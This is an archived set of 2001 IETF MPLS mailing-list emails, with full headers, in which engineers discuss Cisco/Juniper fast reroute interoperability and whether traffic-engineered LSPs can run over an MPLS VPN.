Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljkv08414
	for <mpls@UU.NET>; Fri, 5 Oct 2001 13:28:22 GMT
Received: from imr1.ericy.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ericy.com [208.237.135.240])
	id QQljkv10766
	for <mpls@UU.NET>; Fri, 5 Oct 2001 13:28:15 GMT
Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123])
	by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f95DSLY23549
	for <mpls@UU.NET>; Fri, 5 Oct 2001 08:28:21 -0500 (CDT)
Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37])
	by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f95DSLf03113
	for <mpls@UU.NET>; Fri, 5 Oct 2001 08:28:21 -0500 (CDT)
Received: FROM eamrcnt750.exu.ericsson.se BY eamrcnt747.exu.ericsson.se ; Fri Oct 05 08:28:20 2001 -0500
Received: from eamrcnt746.exu.ericsson.se ([138.85.133.36]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id TYM878KB; Fri, 5 Oct 2001 08:28:20 -0500
Received: FROM cea.ericsson.se BY eamrcnt746.exu.ericsson.se ; Fri Oct 05 08:28:18 2001 -0500
Message-ID: <3BBDB56E.9040103@cea.ericsson.se>
Date: Fri, 05 Oct 2001 10:28:14 -0300
From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
Organization: Ericsson Argentina
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en,es-AR,es
MIME-Version: 1.0
To: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Fast Reroute Interoperability
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello,

In spite of the different way that Juniper and Cisco have taken
to provide fast reroute protection, making them not interoperable,
I'm wondering if there is any way to build a scheme were both can
coexist in a MPLS fault protected network. A valid solution could
consider nested tunnels and statically configured LSPs.
In our particular case Cisco GSR builds up the core and Juniper the
edge of the backbone.

Regards,
Gustavo



From owner-mpls@UU.NET  Fri Oct  5 09:56:13 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22254
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 09:56:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljkx12397;
	Fri, 5 Oct 2001 13:56:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljkx02153
	for mpls-outgoing; Fri, 5 Oct 2001 13:55:25 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljkx02147
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 13:55:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljkx07135
	for <mpls@UU.NET>; Fri, 5 Oct 2001 13:55:11 GMT
From: rpapneja@gmu.edu
Received: from portal.gmu.edu by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: portalknot.gmu.edu [129.174.0.8])
	id QQljkx11259
	for <mpls@UU.NET>; Fri, 5 Oct 2001 13:55:15 GMT
Received: from gmu.edu (mail02.gmu.edu [129.174.0.10])
	by portal.gmu.edu (8.8.8/8.8.8) with ESMTP id JAA31840;
	Fri, 5 Oct 2001 09:42:57 -0400 (EDT)
To: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
Cc: mpls@UU.NET
Message-ID: <11611191160a21.1160a211161119@gmu.edu>
Date: Fri, 05 Oct 2001 09:42:57 -0400
X-Mailer: Netscape Webmail
MIME-Version: 1.0
Content-Language: en
Subject: Re: Fast Reroute Interoperability
X-Accept-Language: en
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello Gustavo,

 The following draft talks about the guidelines for interoperation with 
either of the two implementations you mentioned:  
 
        draft-atlas-rsvp-local-protect-interop-01.txt
 
 I hope this helps.

  -Rajiv
  
----- Original Message -----
From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
Date: Friday, October 5, 2001 9:28 am
Subject: Fast Reroute Interoperability

> Hello,
> 
> In spite of the different way that Juniper and Cisco have taken
> to provide fast reroute protection, making them not interoperable,
> I'm wondering if there is any way to build a scheme were both can
> coexist in a MPLS fault protected network. A valid solution could
> consider nested tunnels and statically configured LSPs.
> In our particular case Cisco GSR builds up the core and Juniper the
> edge of the backbone.
> 
> Regards,
> Gustavo
> 
> 



From owner-mpls@UU.NET  Fri Oct  5 09:56:58 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22283
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 09:56:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljkx13941;
	Fri, 5 Oct 2001 13:57:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljkx02280
	for mpls-outgoing; Fri, 5 Oct 2001 13:56:27 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljkx02226
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 13:56:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljkx18428
	for <mpls@UU.NET>; Fri, 5 Oct 2001 13:55:20 GMT
Received: from imr2.ericy.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ericy.com [12.34.240.68])
	id QQljkx19703
	for <mpls@UU.NET>; Fri, 5 Oct 2001 13:55:12 GMT
Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.92.14])
	by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id f95DtI024595
	for <mpls@UU.NET>; Fri, 5 Oct 2001 08:55:18 -0500 (CDT)
Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47])
	by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f95DtIf23238
	for <mpls@UU.NET>; Fri, 5 Oct 2001 08:55:18 -0500 (CDT)
Received: FROM eamrcnt750.exu.ericsson.se BY eamrcnt749 ; Fri Oct 05 08:55:17 2001 -0500
Received: from eamrcnt746.exu.ericsson.se ([138.85.133.36]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id TYM878NA; Fri, 5 Oct 2001 08:55:17 -0500
Received: FROM cea.ericsson.se BY eamrcnt746.exu.ericsson.se ; Fri Oct 05 08:50:07 2001 -0500
Message-ID: <3BBDBA8B.7020500@cea.ericsson.se>
Date: Fri, 05 Oct 2001 10:50:03 -0300
From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
Organization: Ericsson Argentina
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en,es-AR,es
MIME-Version: 1.0
To: rpapneja@gmu.edu
CC: mpls@UU.NET
Subject: Re: Fast Reroute Interoperability
References: <11611191160a21.1160a211161119@gmu.edu>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

As far as I know neither Cisco or Juniper are in the
Set A:

      "A.  Implements both the local protection enhancements given in
          [RSVP-TE] and [DETOUR] as described in this draft."

mentioned in Atlas´s draft.

-Gustavo

rpapneja@gmu.edu wrote:

> Hello Gustavo,
> 
>  The following draft talks about the guidelines for interoperation with 
> either of the two implementations you mentioned:  
>  
>         draft-atlas-rsvp-local-protect-interop-01.txt
>  
>  I hope this helps.
> 
>   -Rajiv
>   
> ----- Original Message -----
> From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
> Date: Friday, October 5, 2001 9:28 am
> Subject: Fast Reroute Interoperability
> 
> 
>>Hello,
>>
>>In spite of the different way that Juniper and Cisco have taken
>>to provide fast reroute protection, making them not interoperable,
>>I'm wondering if there is any way to build a scheme were both can
>>coexist in a MPLS fault protected network. A valid solution could
>>consider nested tunnels and statically configured LSPs.
>>In our particular case Cisco GSR builds up the core and Juniper the
>>edge of the backbone.
>>
>>Regards,
>>Gustavo
>>
>>
>>




From owner-mpls@UU.NET  Fri Oct  5 10:10:14 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA22536
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 10:10:14 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljky09514;
	Fri, 5 Oct 2001 14:09:48 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljky21501
	for mpls-outgoing; Fri, 5 Oct 2001 14:09:15 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljky21496
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 14:09:09 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljky11312
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:08:33 GMT
From: rpapneja@gmu.edu
Received: from portal.gmu.edu by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: portalknot.gmu.edu [129.174.0.8])
	id QQljky08083
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:08:17 GMT
Received: from gmu.edu (mail02.gmu.edu [129.174.0.10])
	by portal.gmu.edu (8.8.8/8.8.8) with ESMTP id KAA14726;
	Fri, 5 Oct 2001 10:06:22 -0400 (EDT)
To: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
Cc: mpls@UU.NET
Message-ID: <115fe8f11636a4.11636a4115fe8f@gmu.edu>
Date: Fri, 05 Oct 2001 10:06:22 -0400
X-Mailer: Netscape Webmail
MIME-Version: 1.0
Content-Language: en
Subject: Re: Fast Reroute Interoperability
X-Accept-Language: en
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA22536

What about B and C?

 B.  Implements only [DETOUR].

 C.  Implements only the local protection enhancements given in
     [RSVP-TE], according to the guidelines in [BYPASS].

 -Rajiv

----- Original Message -----
From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
Date: Friday, October 5, 2001 9:50 am
Subject: Re: Fast Reroute Interoperability

> As far as I know neither Cisco or Juniper are in the
> Set A:
> 
>      "A.  Implements both the local protection enhancements given in
>          [RSVP-TE] and [DETOUR] as described in this draft."
> 
> mentioned in Atlas´s draft.
> 
> -Gustavo
> 
> rpapneja@gmu.edu wrote:
> 
> > Hello Gustavo,
> > 
> >  The following draft talks about the guidelines for 
> interoperation with 
> > either of the two implementations you mentioned:  
> >  
> >         draft-atlas-rsvp-local-protect-interop-01.txt
> >  
> >  I hope this helps.
> > 
> >   -Rajiv
> >   
> > ----- Original Message -----
> > From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
> > Date: Friday, October 5, 2001 9:28 am
> > Subject: Fast Reroute Interoperability
> > 
> > 
> >>Hello,
> >>
> >>In spite of the different way that Juniper and Cisco have taken
> >>to provide fast reroute protection, making them not interoperable,
> >>I'm wondering if there is any way to build a scheme were both can
> >>coexist in a MPLS fault protected network. A valid solution could
> >>consider nested tunnels and statically configured LSPs.
> >>In our particular case Cisco GSR builds up the core and Juniper the
> >>edge of the backbone.
> >>
> >>Regards,
> >>Gustavo
> >>
> >>
> >>
> 
> 
> 



From owner-mpls@UU.NET  Fri Oct  5 10:19:44 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA22877
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 10:19:44 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljkz21905;
	Fri, 5 Oct 2001 14:18:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljkz22473
	for mpls-outgoing; Fri, 5 Oct 2001 14:18:02 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljkz22465
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 14:17:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljkz00080
	for <mpls@uu.net>; Fri, 5 Oct 2001 14:17:36 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljkz20750
	for <mpls@uu.net>; Fri, 5 Oct 2001 14:17:29 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA23870 for <mpls@uu.net>; Fri, 5 Oct 2001 10:17:35 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA03385 for mpls@uu.net; Fri, 5 Oct 2001 10:17:35 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljky22108
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 14:13:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljky19471
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:13:06 GMT
Received: from fido.nc.rr.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rdu26-240-155.nc.rr.com [66.26.240.155])
	id QQljky10166
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:13:19 GMT
Received: from localhost (jboyle@localhost)
	by fido.nc.rr.com (8.11.2/8.11.2) with ESMTP id f95EFf306735;
	Fri, 5 Oct 2001 10:15:41 -0400
X-Authentication-Warning: fido.nc.rr.com: jboyle owned process doing -bs
Date: Fri, 5 Oct 2001 10:15:41 -0400 (EDT)
From: Jim Boyle <jboyle@pdnets.com>
X-X-Sender:  <jboyle@fido>
To: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
cc: <mpls-ops@mplsrc.com>, <mpls@UU.NET>
Subject: Re: Fast Reroute Interoperability
In-Reply-To: <3BBDB56E.9040103@cea.ericsson.se>
Message-ID: <Pine.LNX.4.33.0110051002560.1898-100000@fido>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Fri, 5 Oct 2001, Gustavo Bellotto (CEA) wrote:

> Hello,
>
> In spite of the different way that Juniper and Cisco have taken
> to provide fast reroute protection, making them not interoperable,
> I'm wondering if there is any way to build a scheme were both can
> coexist in a MPLS fault protected network. A valid solution could
> consider nested tunnels and statically configured LSPs.
> In our particular case Cisco GSR builds up the core and Juniper the
> edge of the backbone.
>
> Regards,
> Gustavo
>

This is true, and in the last meeting it was noted by the authors that
they think they can bring together a common draft.  That would be a good
thing as it would seem to meet one of the requirements in
draft-ietf-tewg-restore-hierarchy-00.txt.  This is the only approach to
restoration times in the 10s to 100s of ms.

Another approach that both do support is that of 1:1 Path LSPs where when
traffic is on a primary, and if that has problems, the traffic shifted
onto another pre-signalled LSPs (assuming that one is still ok).  This can
bring restoration times down significantly (maybe shave 5-10 seconds off
not having this), but there still are impacts at the head end routers as
they shift the traffic.  This approach satisfies another
restoration requirement in the above mentioned tewg document.

Jim



From owner-mpls@UU.NET  Fri Oct  5 10:30:59 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA23091
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 10:30:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljla10263;
	Fri, 5 Oct 2001 14:30:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljkz23431
	for mpls-outgoing; Fri, 5 Oct 2001 14:29:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljkz23405
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 14:29:43 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljkz13234
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:29:28 GMT
Received: from sktelecom.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.236.1.20])
	id QQljkz08425
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:29:20 GMT
Received: from ysshin (localhost [127.0.0.1])
	by sktelecom.com (8.10.1/8.10.1) with SMTP id f95CPSp12220
	for <mpls@UU.NET>; Fri, 5 Oct 2001 21:25:29 +0900 (KST)
Message-ID: <003b01c14d99$6c29d360$75131796@sktelecom.com>
From: =?ks_c_5601-1987?B?vcW/673E?= <ysshin@sktelecom.com>
To: <mpls@UU.NET>
Subject: MPLS VPN + TE
Date: Fri, 5 Oct 2001 21:29:47 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0038_01C14DE4.DB72CA60"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk


This is a multi-part message in MIME format.

------=_NextPart_000_0038_01C14DE4.DB72CA60
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

RGVhciBhbGwNCg0KSXMgaXQgcG9zc2libGUgdG8gc2V0IHVwIFRFIExTUHMgb24gTVBMUyBWUE4g
PyANCkFueSBoZWxwIHdpbGwgYmUgYXBwcmVjaWF0ZWQuDQoNClJlZ2FyZHMuDQo=

------=_NextPart_000_0038_01C14DE4.DB72CA60
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWtz
X2NfNTYwMS0xOTg3IiBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZT4NCjxNRVRBIGNvbnRlbnQ9Ik1T
SFRNTCA1LjAwLjI2MTQuMzUwMCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv
SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+PEZPTlQgc2l6ZT0yPkRlYXIgYWxs
PC9GT05UPjwvRElWPg0KPERJVj4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPklzIGl0
IHBvc3NpYmxlIHRvIHNldCB1cCBURSBMU1BzIG9uIE1QTFMgVlBOID8gPC9GT05UPjwvRElWPg0K
PERJVj48Rk9OVCBzaXplPTI+QW55IGhlbHAgd2lsbCBiZSBhcHByZWNpYXRlZC48L0ZPTlQ+PC9E
SVY+DQo8RElWPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+PEZPTlQgZmFjZT1Bcmlh
bCANCnNpemU9Mj5SZWdhcmRzLjwvRk9OVD48L0ZPTlQ+PC9ESVY+PC9CT0RZPjwvSFRNTD4NCg==

------=_NextPart_000_0038_01C14DE4.DB72CA60--



From owner-mpls@UU.NET  Fri Oct  5 10:59:06 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA23594
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 10:59:06 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljlb17138;
	Fri, 5 Oct 2001 14:56:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljlb25528
	for mpls-outgoing; Fri, 5 Oct 2001 14:55:56 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljlb25519
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 14:55:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljlb03669
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:54:52 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQljlb15347
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:54:45 GMT
Message-ID: <3BBDC9BB.6C13FA35@sandburst.com>
Date: Fri, 05 Oct 2001 10:54:51 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: =?EUC-KR?B?vcW/673E?= <ysshin@sktelecom.com>
Cc: mpls@UU.NET
Subject: Re: MPLS VPN  TE
References: <003b01c14d99$6c29d360$75131796@sktelecom.com>
Content-Type: multipart/alternative;
 boundary="------------2481C95A7A911D4B655007CA"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------2481C95A7A911D4B655007CA
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

=BD=C5=BF=EB=BD=C4

    Yes, it is though it would take a fairly complex VPN service to produ=
ce a
scenario in which it might make sense to do so.  Typically, a VPN service=
 is
viewed as a virtual set of private pipes over-layed on a cloud of network=

infrastructure.  In such a cloud, the service appears as - at most - a si=
ngle
hop to VPN clients.  Therefore, to make using explicitly routed LSPs over=

such a service make sense, the VPN service (as typically viewed) would
have to be part of a larger and more complex service - potentially using
many such VPN services.

You wrote:

> Dear all Is it possible to set up TE LSPs on MPLS VPN ?Any help will be=
 appreciated. Regards.

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray



--------------2481C95A7A911D4B655007CA
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body bgcolor=3D"#FFFFFF">
=BD=C5=BF=EB=BD=C4
<p>&nbsp;&nbsp;&nbsp; Yes, it is though it would take a fairly complex
VPN service to produce a
<br>scenario in which it might make sense to do so.&nbsp; Typically, a
VPN service is
<br>viewed as a virtual set of private pipes over-layed on a cloud of net=
work
<br>infrastructure.&nbsp; In such a cloud, the service appears as - at
most - a single
<br>hop to VPN clients.&nbsp; Therefore, to make using explicitly routed
LSPs over
<br>such a service make sense, the VPN service (as typically viewed)&nbsp=
;would
<br>have to be part of a larger and more complex service - potentially
using
<br>many such VPN&nbsp;services.
<p>You wrote:
<blockquote TYPE=3DCITE><style></style>
<font size=3D-1>Dear all</font> <font size=3D-1>Is
it possible to set up TE LSPs on MPLS VPN ?Any help will be appreciated.<=
/font>
<font face=3D"Arial"><font size=3D-1>Regards.</font></font></blockquote>

<pre>--
Eric Gray (<A HREF=3D"mailto:eric.gray@sandburst.com">mailto:eric.gray@sa=
ndburst.com</A>)
<A HREF=3D"http://www.mindspring.com/~ewgray">http://www.mindspring.com/~=
ewgray</A></pre>
&nbsp;
</body>
</html>

--------------2481C95A7A911D4B655007CA--



From owner-mpls@UU.NET  Fri Oct  5 11:35:24 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24346
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 11:35:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljle07530;
	Fri, 5 Oct 2001 15:33:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljle17107
	for mpls-outgoing; Fri, 5 Oct 2001 15:33:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljle17096
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 15:33:03 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljle18771
	for <mpls@UU.NET>; Fri, 5 Oct 2001 15:30:46 GMT
Received: from grex.cyberspace.org by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: grex.cyberspace.org [216.93.104.34])
	id QQljle16158
	for <mpls@UU.NET>; Fri, 5 Oct 2001 15:30:58 GMT
Received: from localhost (hemant@localhost) by grex.cyberspace.org (8.6.13/8.6.12) with SMTP id LAA15251; Fri, 5 Oct 2001 11:31:14 -0400
Date: Fri, 5 Oct 2001 11:31:14 -0400 (EDT)
From: "Hemant P. Kelkar" <hemant@cyberspace.org>
To: gustavo.bellotto@cea.ericsson.se
cc: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: Fast Reroute Interoperability
Message-ID: <Pine.SUN.3.96.1011005113023.14833A-100000@grex.cyberspace.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi !
Can somebody tell the differences between the fast reroute mechanisms
provided by cisco
and juniper ?

thanks,
Hemant



Date: Fri, 05 Oct 2001 10:28:14 -0300
From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
To: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Fast Reroute Interoperability
Resent-Date: Fri, 5 Oct 2001 09:33:21 -0400
Resent-From: mpls-ops@mplsrc.com

Hello,

In spite of the different way that Juniper and Cisco have taken
to provide fast reroute protection, making them not interoperable,
I'm wondering if there is any way to build a scheme were both can
coexist in a MPLS fault protected network. A valid solution could
consider nested tunnels and statically configured LSPs.
In our particular case Cisco GSR builds up the core and Juniper the
edge of the backbone.

Regards,
Gustavo

-------
The MPLS-OPS Mailing List
Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
Archive: http://www.mplsrc.com/mpls-ops_archive.shtml




From owner-mpls@UU.NET  Fri Oct  5 12:18:32 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25588
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 12:18:32 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
